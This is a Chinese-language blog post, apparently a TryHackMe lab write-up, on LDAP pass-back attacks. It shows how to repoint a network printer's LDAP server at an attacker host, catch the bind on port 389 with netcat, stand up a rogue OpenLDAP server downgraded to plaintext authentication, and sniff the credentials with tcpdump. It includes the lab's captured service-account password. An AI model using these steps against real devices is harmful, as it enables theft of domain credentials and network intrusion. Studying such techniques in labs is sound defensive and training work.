LDAP回传攻击技术

LDAP 绑定凭据获取

LDAP 协议也是一种 AD 认证方法,通常被一些与 AD 集成的第三方应用/服务所使用,由于与 NTLM 认证类似,因此若那些使用了 LDAP 认证的应用/服务暴露到公网,就可以使用与 NTLM 认证相似的攻击;但 LDAP 认证中应用可以直接验证用户的凭据,当应用有了一组 AD 凭据后,会首先用其查询 LDAP,然后再验证 AD 用户凭据有效性,所以如果获取了某个服务的立足点(比如 gitlab 服务器),那么就可以直接从配置文件中读取 AD 凭据。

以下是通过 LDAP 进行认证的过程:

image-20250414134056367

LDAP 回传攻击(Pass-back Attacks)

这是一种针对网络设备(如打印机)的常见攻击,例如当攻击者获得内部网络的初始访问权限时,在会议室中插入恶意设备。

这些网络打印机的凭证通常没有进行修改,保持为默认值,虽然由于密码通常被隐藏无法直接提取 LDAP 凭证,但可以修改 LDAP 配置,如 LDAP 服务器的 IP 或主机名。在回传攻击中,修改其 ip 和主机名为恶意目标值并要求用户进行 LDAP 身份验证,那么就可以得到真正的凭据。

示例

明文&网络传输

目标站点有一个网络打印机的登录页:

image-20250414140652941

可以看到密码被隐藏了,当点击测试设置时,会向 DC 发送一个认证请求来测试 LDAP 凭证,那么如果修改指向的 ip 到恶意站点,那么就会得到被隐藏密码:

image-20250414143704247

通过 nc 监听 LDAP 默认端口 389 是否收到信息就可以测试到修改 ip 是否成功,例如:

[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
 objectclass0?supportedCapabilities

PS:但如果身份验证方法很安全,那么凭据将不会以明文方式传输,甚至不会通过网络传输,那么需要构建一个恶意的 LDAP 服务器,来确保以明文发送。

伪造 LDAP 服务器

可以使用 OpenLDAP 搭建,使用以下命令进行安装:

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

配置 LDAP 服务器:

sudo dpkg-reconfigure -p low slapd

在需要时按下以跳过服务器配置:

image-20250414135454539

添加一个 dns 域名,这里使用 za.tryhackme.com

image-20250414135613577

使用相同的名称作为组织名称:

image-20250414135726149

提供管理员密码:

image-20250414135740988

选择 MDB 作为要使用的 LDAP 数据库(目前可能不需要设置了,没有弹出):

image-20250414135754902

确保在清除时不要删除数据库:

image-20250414135813706

创建新数据库之前移动旧数据库文件:

image-20250414135838721

在使用 rogue LDAP 服务器之前,还需要通过降级支持的认证机制使其变得脆弱,以及使 LDAP 服务器只支持 PLAIN 和 LOGIN 认证方法。为此,需要创建一个新的 ldif 文件,其内容如下:

#olcSaslSecProps.ldif
dn: cn = config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous, minssf = 0, passcred

该文件具有以下属性:

  • olcSaslSecProps:指定 SASL 安全属性
  • noanonymous: 禁用支持匿名登录的机制
  • minssf: 指定可接受的最小安全强度,0 表示无保护。

现在可以通过 ldif 文件使用以下方式修补创建的 LDAP 服务器:

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

使用以下命令验证搭建的恶意 LDAP 服务器的配置是否已应用(注意:如果使用的是 Kali,可能不会收到任何输出,但是配置应该已经生效),会得到类似输出:

[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

捕获 LDAP 凭证

搭建好伪造的 LDAP 服务器后就可以开始尝试捕获 LDAP 凭证了,凭证以明文形式发送。

使用 tcpdump 捕获流量:

sudo tcpdump -SX -i breachad tcp port 389

image-20250414144620804

可以看到接收到很多数据,把数据写入流量包,通过 wireshark 分析数据包内容,可以很容易找到凭据:

img

Lightweight Directory Access Protocol
    LDAPMessage bindRequest(22) "za.tryhackme.com\svcLDAP" simple
        messageID: 22
        protocolOp: bindRequest (0)
            bindRequest
                version: 2
                name: za.tryhackme.com\svcLDAP
                authentication: simple (0)
                    simple: tryhackmeldappass1@
        [Response In: 30]
posted @ 2025-12-03 09:45  shinianyunyan  阅读(19)  评论(0)    收藏  举报